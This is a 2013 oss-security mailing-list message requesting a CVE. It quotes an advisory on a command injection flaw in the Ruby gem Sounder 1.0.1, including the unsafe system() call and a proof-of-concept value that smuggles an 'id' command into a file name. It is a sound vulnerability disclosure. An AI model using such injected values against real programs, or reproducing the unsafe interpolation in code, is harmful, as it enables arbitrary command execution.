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Date: Wed, 28 Aug 2013 20:19:39 +0000 (GMT)
From: "Larry W. Cashdollar" <larry0@...com>
To: oss-security@...ts.openwall.com
Subject: Re: Command Injection in Ruby Gem Sounder 1.0.1

Yes sir, Please assign a CVE.

´╗┐Thank you!
Larry C$

On Aug 28, 2013, at 12:36 PM, Henri Salo <henri@...v.fi> wrote:

> On Wed, Aug 28, 2013 at 03:06:14AM +0000, Larry W. Cashdollar wrote:
>> Title: Command Injection in Ruby Gem Sounder 1.0.1
>> Date: 8/10/2013
>> Author: Larry W. Cashdollar @_larry0
>> Download: https://rubygems.org/gems/sounder
>>  
>> CVE: TBD
>> Description:
>> Sounder is a ruby gem API for Mac OSX's afplay command.
>> It passes user supplied data directly to command line.
>> From lib/sounder/sound.rb:
>> def play
>> system %{/usr/bin/afplay "#{@...e}" &}
>> end
>> PoC:
>> irb(main):098:0> @file = "\"id;/usr/bin/id>/tmp/p;\""
>> => "\"id;/usr/bin/id>/tmp/p;\""
>> irb(main):099:0> system %{/bin/echo "#{@...e}" }
>> id
>> sh: 1: : Permission denied
>> => false
>> irb(main):100:0>
>> larry@...erfl0w:/tmp$ cat /tmp/p
>> uid=1000(larry) gid=600(staff) groups=600(user)
>> Author Notified: 8/9/2013
>> Advisory: http://vapid.dhs.org/advisories/sounder-ruby-gem-cmd-inj.html
>>  
>
> This was the CVE request (just to be clear).
>
> ---
> Henri Salo

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